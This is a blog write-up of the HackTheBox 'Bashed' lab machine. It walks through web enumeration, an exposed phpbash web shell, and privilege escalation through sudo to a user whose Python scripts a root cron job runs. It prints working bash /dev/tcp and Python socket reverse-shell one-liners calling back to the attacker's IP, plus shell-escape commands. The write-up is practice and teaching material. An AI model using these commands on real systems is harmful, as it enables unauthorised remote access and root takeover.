Thumbnail: gravatar

Beating Bashed - HTB 'Bashed' Writeup

by on under writeups
19 minute read

Beating Bashed - HackTheBox ‘Bashed’ Writeup



Host Information    
Hostname Operating System HTB Difficulty Rating
Bashed Linux Easy


view all writeups here




IP of box is


Per usual, we’ll start with an nmap scan of the system:

root@kali:/writeups/HTB/bashed/enumeration# nmap -sC -sV -p- -O -oA bashed
Starting Nmap 7.80 ( ) at 2020-01-14 09:07 CST
Nmap scan report for
Host is up (0.045s latency).
Not shown: 65534 closed ports
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 55.50 seconds

So it looks like the only TCP port open is http. Let’s check it out in a browser.

Looks like a dynamic web page, let’s go ahead and run dirb on it to enumerate pages.

root@kali:~# dirb -o bashed_dirb.txt

DIRB v2.22    
By The Dark Raver

OUTPUT_FILE: bashed_dirb.txt
START_TIME: Tue Jan 14 15:16:56 2020
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
==> DIRECTORY:                                              
==> DIRECTORY:                                              
==> DIRECTORY:                                            
==> DIRECTORY:                                           
+ (CODE:200|SIZE:7743)                                
==> DIRECTORY:                                               
==> DIRECTORY:                                              
+ (CODE:403|SIZE:299)                              
==> DIRECTORY:                                          
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
+ (CODE:200|SIZE:14)        

From these results, my first visit was to uploads, on the offchance that there was a file upload capability, and I could upload a php reverse shell file, or a reverse tcp listener encoded by msfvenom. However, it appeared this directory consisted of a blank page, with nothing in the source.

My next stop is to the /php folder. It’s a listable directory at that level, containing one sub-page: sendMail.php. At first glance this appears to be a dead-end as well. Nothing is visible in the file from the browser, and a curl doesn’t seem to reviewal anything either:

root@kali:/writeups/HTB/bashed/enumeration# curl -v
*   Trying
* Connected to ( port 80 (#0)
> GET /php/sendMail.php HTTP/1.1
> Host:
> User-Agent: curl/7.67.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Tue, 14 Jan 2020 21:33:34 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
* Connection #0 to host left intact

OK, on to the next folder. Going to the /js directory does show a number of files:

Index of /js
[ICO]	Name	Last modified	Size	Description

[PARENTDIR]	Parent Directory	 	- 	 

[ ]	custom_google_map_style.js	2017-12-04 14:18 	909 	 
[ ]	html5.js	2017-12-04 14:18 	2.4K	 
[ ]	imagesloaded.pkgd.js	2017-12-04 14:18 	26K	 
[ ]	jquery.carouFredSel-6.0.0-packed.js	2017-12-04 14:18 	35K	 
[ ]	jquery.easing.1.3.js	2017-12-04 14:18 	1.7K	 
[ ]	jquery.js	2017-12-04 14:18 	95K	 
[ ]	jquery.mousewheel.min.js	2017-12-04 14:18 	1.4K	 
[ ]	jquery.nicescroll.min.js	2017-12-04 14:18 	59K	 
[ ]	jquery.smartmenus.min.js	2017-12-04 14:18 	24K	 
[ ]	jquery.touchSwipe.min.js	2017-12-04 14:18 	4.2K	 
[ ]	main.js	2017-12-04 14:18 	8.7K	 

Before going down the rabbit hole of examining each js file, let’s check what else is out there. There’s an images folder with nothing seemingly out of the ordinary, some icon and navication .pngs, also the same with a /fonts folder, as well as a /css folder. All 3 of these seem to contain nothing out of the ordinary.

However, there’s a folder /dev that seems to contain some promising items:

Index of /dev
[ICO]	Name	Last modified	Size	Description

[PARENTDIR]	Parent Directory	 	- 	 
[ ]	phpbash.min.php	2017-12-04 12:21 	4.6K	 
[ ]	phpbash.php	2017-11-30 23:56 	8.1K	 

Apache/2.4.18 (Ubuntu) Server at Port 80

gaining an initial shell

Let’s check out the more recent file, phpbash.min.php first.

This seems to be a very interesting terminal emulation (or passthrough) done in the browser.. It appears to have dropped us into a shell as the www-data user.

From, we can poke around in the host, for instance:

www-data@bashed:/var/www/html/dev# whoami
www-data@bashed:/var/www/html/dev# ls
www-data@bashed:/var/www/html/dev# ls -al
total 28
drw-r-xr-x 2 root root 4096 Dec 4 2017 .
drw-r-xr-x 10 root root 4096 Dec 4 2017 ..
-rw-r-xr-x 1 root root 4688 Dec 4 2017 phpbash.min.php
-rw-r-xr-x 1 root root 8280 Nov 30 2017 phpbash.php
www-data@bashed:/var/www/html/dev# cd /
www-data@bashed:/# pwd

Before we do any more significant enumeration, let’s try to re-route this shell to our local system, just in cased the web-based one ends up being janky. It’s really cool though! let’s go ahead and try to get a stable shell locally, by first starting a listener locally with nc -lvnp 43110

We can run the folloiwng on the bashed terminal to try and start a reverse tcp shell to our local kali box:

bash -i >& /dev/tcp/\<VPN IP\>/43110 0>&1

Well, that didn’t seem to catch a shell. Let’s see if python is installed on the system:

www-data@bashed:/var/www/html/dev# which python


Great, so let’s try a python version instead of bash:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<VPN IP>",43110));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Interestingly, that seemed to work. Let’s go ahead and upgrade the shell too, just in case:

root@kali:/writeups/HTB/bashed# nc -lvnp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 48488
/bin/sh: 0: can't access tty; job control turned off
$ /usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'


Initial [automated] checking for privesc

Awesome, let’s go ahead and download a handy python enumeration utility called to our enumeration folder locally, then serve it to the remote target system on a world-writable directory. (Yes, we could copy/paste directly in to our remote session, but figured utilizing simpleHTTP server to transfer files would be good practise.)

root@kali:/writeups/HTB/bashed/enumeration# wget
--2020-01-15 16:18:54--
Resolving (,,, ...
Connecting to (||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [text/plain]
Saving to: ‘’   100%[=======================>]  24.71K  --.-KB/s    in 0.004s  

2020-01-15 16:18:55 (5.70 MB/s) - ‘’ saved [25304/25304]

Start a simple HTTP server with python3 -m http.server 8000, and from here we should be able to go to the /tmp directory and download the file with wget, and give it execute permissions, like so:

$ cd /tmp
$ wget
--2020-01-15 14:37:09--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [text/plain]
Saving to: ''

     0K .......... .......... ....                            100%  772K=0.03s

2020-01-15 14:37:09 (772 KB/s) - '' saved [25304/25304]
www-data@bashed:/tmp$ chmod +x

Quickly looking inside the script, it looks like we’ll need to change the shebang on the start of the script from #!/usr/env python to /usr/bin/python.

It looks like both vi (vim is not installed on ‘bashed’) and nano behave oddly in the remote terminal, so let’s use a one liner to search and replace. sed seems to be ideal for this. (Again, we could edit it on our host system and re-transfer, but practise)

www-data@bashed:/tmp$ sed -i 's/#!\/usr\/env python/#!\/usr\/bin\/python/g'

www-data@bashed:/tmp$ cat | grep python
cat | grep python

Awesome, looks like that works. So let’s run it and check the output.

www-data@bashed:/tmp$ ./ > privcheck_results.txt

Last bit of LinuxPrivChecker output:


[+] Installed Tools

[+] Related Shell Escape Sequences...

    vi-->	:!bash
    vi-->	:set shell=/bin/bash:shell
    awk-->	awk 'BEGIN {system("/bin/bash")}'
    find-->	find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
    perl-->	perl -e 'exec "/bin/bash";'


    Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!

    The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system

    The following exploits are applicable to this kernel version and should be investigated as well
    - Kernel ia32syscall Emulation Privilege Escalation || || Language=c
    - Sendpage Local Privilege Escalation || || Language=ruby**
    - CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || || Language=c
    - CAP_SYS_ADMIN to root Exploit || || Language=c
    - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || || Language=c
    - open-time Capability file_ns_capable() Privilege Escalation || || Language=c
    - open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || || Language=c


Looking through the info briefly, it looks like most of the recommended exploits aren’t applicable for this system. Rather than go too far down that path, I want to go back and do some manual enumeration. I’ll go back and look at this file later if needed.


Further [manual] enumeration for PrivEsc

Let’s see if we can search for world writeable diretories, maybe we can write a listener locally on the system, or upload a file. Running find / -writable -type d 2>/dev/null shows several world writeable directories:


Okay, let’s go ahead and see if we can get do a little further enumeration and recon:

www-data@bashed:/var/www/html/dev# sudo -l

Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

Interesting, it appears we have sudo NOPASSWD access to run resources or files as the user “scriptmanager”. We’ll want to see if we can find anything tied to the “scriptmanager”, including if any directories (besides /home/scriptmanager) are owned by the scriptmanager user.

www-data@bashed:/tmp$ find / -user scriptmanager -type d 2>/dev/null | grep -v denied


Interesting, let’s see what’s in /scripts:

www-data@bashed:/tmp$ ls -ltr /scripts
ls -ltr /scripts
ls: cannot access '/scripts/': Permission denied
ls: cannot access '/scripts/test.txt': Permission denied
total 0
-????????? ? ? ? ?            ? test.txt
-????????? ? ? ? ?            ?


Finding a further foodhold

Interesting, so we can’t read them, but we know files are there. Since we supposedly have sudo privs to run things as the “scriptmanager” user, let’s see if we can’t see what these files are.

My first inclination was to (out of habit) run sudo and then my command, like sudo ls -ltr /scripts; however, that prompts for the password for www-data, which we don’t know, and seems to default to executing a command as superuser (which we’re usually accustomed to using sudo for.) A quick look at the front of the man page, shows the proper option for sudo should be to use the -u flag to specify the user to run the command as. So from here we can run:

www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager ls -ltr /scripts
sudo -u scriptmanager ls -ltr /scripts
total 8
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4  2017
-rw-r--r-- 1 root          root          12 Jan 15 18:09 test.txt

OK, so we should be able to read both of those files, but only write to Let’s check out the text file first:

www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager cat /scripts/test.txt
<ml/dev$ sudo -u scriptmanager cat /scripts/test.txt                         
testing 123!www-data@bashed:/var/www/html/dev$ 

OK, well that wasn’t very interesting. Let’s check out the next one:

www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager cat /scripts/
sudo -u scriptmanager cat /scripts/
f = open("test.txt", "w")
f.write("testing 123!")

Also not super fun, but remember, we should be able to write to this one, based on the chmod permissions. Could we potentially utilize this ability to start a remote shell on the system and get privilege escalation?

Let’s break this out piece by piece and see what we can and cannot do on the system with this ability. If successful, we should be able to write to the file test.txt. If this fails , we can try removing the filesystem write arguments from the script, and just have it execute the reverse shell command. But if we do it right, we might, might, be able to get a root shell. That remains to be seen. But what seems intersting here is that the python script can write content to test.txt, but if you look at the OS level permissions of test.txt (below), it looks like normally, only root should be allowed to write to the test.txt file, securitymanager (or others) don’t appear to have the write permission set:

-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4  2017
-rw-r--r-- 1 root          root          12 Jan 15 18:51 test.txt

So it almost seems that either python is allowed privileged execution on the system that bypasses the standard chmod, or the chmod/permission level is somehow otherwise overriden by python, in order to write text to this file. So, it stands to reason that we might be able to leverage this somehow to gain a root shell, if indeed python proccesses are running as root.

OK, so let’s start with a simple edit to the file to confirm how it behaves and if we can get it to change test.txt

www-data@bashed:/tmp$ sudo -u scriptmanager cat /scripts/
sudo -u scriptmanager cat /scripts/

f = open("test.txt", "w")
f.write("we changed the message!")
www-data@bashed:/tmp$ sudo -u scriptmanager python /scripts/
sudo -u scriptmanager python /scripts/
www-data@bashed:/tmp$ sudo -u scriptmanager cat /scripts/test.txt
sudo -u scriptmanager cat /scripts/test.txt
we changed the message!www-data@bashed:/tmp$ 


Awesome, we were able to edit a file. It’s interesting on the original file, however,that the user and group owner of the test.txt file is root. This would suggest that something is running this python script as root, or, more unlikely, that something is allowing python to run in a privileged execution mode. The latter theory seems much less likely, but we can quickly test if the cronjob theory is correct, by editing the script to create a new discrete file and seeing if it will be automatically written to the filesystem without our manually executing the python comamnd.

If so, it’s probably a fair bet that a cron job is running and automatically either executing explicitly as root, or maybe everything in the /scripts directory. If the file is not automatically written without manual running of the script, the latter theory of privileged execution may be viable. There’s no telling right now what time interval the cron job would be set to execute at, but since it’s a HTB, it’s probably a reasonable bet that there’s fairly frequent execution.

As a quick aside, however, it occured to me (much too late) that there’s a slightly easier way to run commands as the scriptmanager user, rather than using sudo -u scriptmanager every time. If you will recall, the output of the sudo -l command looks like this:

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

Meaning, we should be able to run just about any command as the scriptmanager user, since the ALL option is present. So, it should be fairly trivial to spawn a shell as the scriptmanager user (upgrading our current www-data shell) with the following:

www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/var/www/html/dev$ whoami

Awesome, so that worked, and should make things a little easier in the future. Let’s go ahead and modify to see if it will create an entirely new file in the scripts directory. My modified version looks like this:

f = open("cron_confirm.txt", "w")
f.write("If you see this, there's more than likely a cron job implemented")

After about a minute, it looks like the file was created, with root ownership. Looks like a cron job is liikely running every minute or two, and running as root.


gaining a root shell

There’s one more thing we can confirm before moving on, without having direct visibility to root’s crontab: whether just is being executed by root every minute or so, or if any file within /scripts can be run as root. As a quick test, let’s create a new discrete shell file in the /scripts directory and see if it is executed in a few minutes. Let’s go ahead and have this script spawn a shell, because if it is successful, we should go straight to a root shell as the python process would run as root. If the cron job does not run any script as root, and just, we can edit to start a listener and get a root shell as well, but let’s go ahead and see if we can run a new file in the directory.

scriptmanager@bashed:/scripts$ vi

Paste the following, ensuring we have a local netcat listener on 4444 (If not, can start with nc -lvnp 4444

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Let’s go ahead clean this up a little, and take off the python -c, but prepend it with a #!/usr/bin/python, and make it a multiline statement. So cleaned up it should look like:


import socket,subprocess,os
import pty

Wait a minute, and keep an eye on our listener. After a minute, we get a connection:

root@kali:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 33726

Awesome, we got a root shell! From here we can go ahead and grab the flags in /root/root.txt and /home/arrexel/user.txt.


Confirmation of PrivEsc Behaviour

Quickly, let’s confirm if our deductions about the cron job running python scripts was correct:

Running a quick find command to see where crontabs are stored on the system:

root@bashed:/scripts# find / -name cron
find / -name cron

Let’s start with the first entry:

root@bashed:/scripts# cd /var/spool/cron
cd /var/spool/cron
root@bashed:/var/spool/cron# ls -ltr
ls -ltr
total 4
drwxrwxr-- 2 root crontab 4096 Dec  4  2017 crontabs
root@bashed:/var/spool/cron# cd crontabs
cd crontabs
root@bashed:/var/spool/cron/crontabs# ls -ltr
ls -ltr
total 4
-rw------- 1 root crontab 260 Dec  4  2017 root
root@bashed:/var/spool/cron/crontabs# cat root
cat root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.igz05b/crontab installed on Mon Dec  4 17:53:17 2017)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * cd /scripts; for f in *.py; do python "$f"; done

Great, so it looks like our inferences were accurate! Any .py file in /scripts is being run by root every minute, which explains both the properties of the text files in the /scripts directory, as well as why our listener spawned a shell straight to root.



So a takeaway here, is that you can get a lot of milage with even slightly lax permissions, especially if you can assume permissions of a user with additional privileges via sudo. This could open up potential security risks that defenders and system administrators should be mindful of this. Additionally, cron jobs can be leveraged in potentnially unintended ways, especially for privilege escalation, another thing for defenders and administrators to keep in mind.

Until next time,


hackthebox, HTB, writeups, walkthrough, hacking, pentest, OSCP prep
comments powered by Disqus